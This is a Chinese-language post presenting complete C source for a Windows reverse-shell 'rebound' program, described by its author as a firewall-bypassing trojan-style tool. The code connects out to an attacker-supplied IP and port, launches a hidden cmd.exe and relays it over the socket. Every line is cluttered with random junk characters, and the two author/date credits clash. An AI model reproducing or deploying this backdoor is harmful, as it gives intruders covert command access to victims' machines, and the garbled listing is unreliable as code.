这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K-b`KcX
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/* ============================== 9fy[%M
Rebound port in Windows NT 7Y.mp9,
By wind,2006/7 C1==a FD
===============================*/ Q_6v3no1
#include BU<Qp$&
#include /$d#9Uv
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#pragma comment(lib,"wsock32.lib") )YVs=0j
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void OutputShell(); # AH gY.
SOCKET sClient; l0r^LK$
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B{K_?ae!
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void main(int argc,char **argv) .U#oN_D
{ P>EG;u@.
WSADATA stWsaData; cwE?+vB
int nRet; p4uN+D`.U
SOCKADDR_IN stSaiClient,stSaiServer; :z`L)
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if(argc != 3) +h? Gps
{ [:/mjO K
printf("Useage:\n\rRebound DestIP DestPort\n"); ky{@*fg.
return; *XI-
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} Et'&}NjI
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WSAStartup(MAKEWORD(2,2),&stWsaData); *QT7\ht3
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 19bqz )
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stSaiClient.sin_family = AF_INET; S;SI#Vg@
stSaiClient.sin_port = htons(0); !KtP> `8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /~{fPS
:j[=
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Bxf&gDwjgr
{ IN@ =UAc&
printf("Bind Socket Failed!\n"); "td ,YVK
return; ]u\-_PP
} K_Kz8qV.?
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stSaiServer.sin_family = AF_INET; )&[ol9+\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r.' cjUs
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); o,qUf
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) MFz6y":~
{ Cy5M0{
printf("Connect Error!"); b2^O$l
return; c3)6{
} }-@h H(
OutputShell(); fM3ZoH/
} w x,gth*p
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void OutputShell() =&mdxKoT0
{
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char szBuff[1024]; 'Uo|@tK
SECURITY_ATTRIBUTES stSecurityAttributes; #TIlM]5%
OSVERSIONINFO stOsversionInfo; s,j=Kym%
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L-|u=c-6
STARTUPINFO stStartupInfo; 7-}/{o*,5
char *szShell; Nkx W*w%}l
PROCESS_INFORMATION stProcessInformation; ;Ouu+#s
unsigned long lBytesRead; bLC+73BjC
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); t?FPmbjv
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RWZjD#5%Z
stSecurityAttributes.lpSecurityDescriptor = 0; } DjbVYH
stSecurityAttributes.bInheritHandle = TRUE; .G>6_n3
}O:l]O`
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "4CO^ B
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rs@qC>_C0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s-S|#5
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {'o\#4Wk
stStartupInfo.wShowWindow = SW_HIDE; 3JZ9 G79H
stStartupInfo.hStdInput = hReadPipe; zrV~7$HL
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uXdR-@80*
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GetVersionEx(&stOsversionInfo); w_#5Na}>d
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switch(stOsversionInfo.dwPlatformId) 6z5?9I4[
{ ~./M5P!\
case 1: AE4>pzBe
szShell = "command.com"; | EFbT>
break; 8'0KHn{#
default: `7_s@4:
szShell = "cmd.exe"; `%.x0~ih
break; k&o1z'<C
} B0!W=T\
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FD^s5>"Y+
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send(sClient,szMsg,77,0); :2MHx}]il
while(1) 5dhT?/qvc
{ xilA`uw`1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r%II`
i
if(lBytesRead) CQ#%v%
{ 5x}OrfDU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vH vwH
send(sClient,szBuff,lBytesRead,0); Nk shJ2
} %|3NCyJ*7
else z.*=3
{ ETq~,g'
lBytesRead=recv(sClient,szBuff,1024,0); -42jeJS
if(lBytesRead<=0) break; ?N@p~
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _pR7sNe V
} u/4|Akui
} zbP#y~[
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return; lISu[{b?
}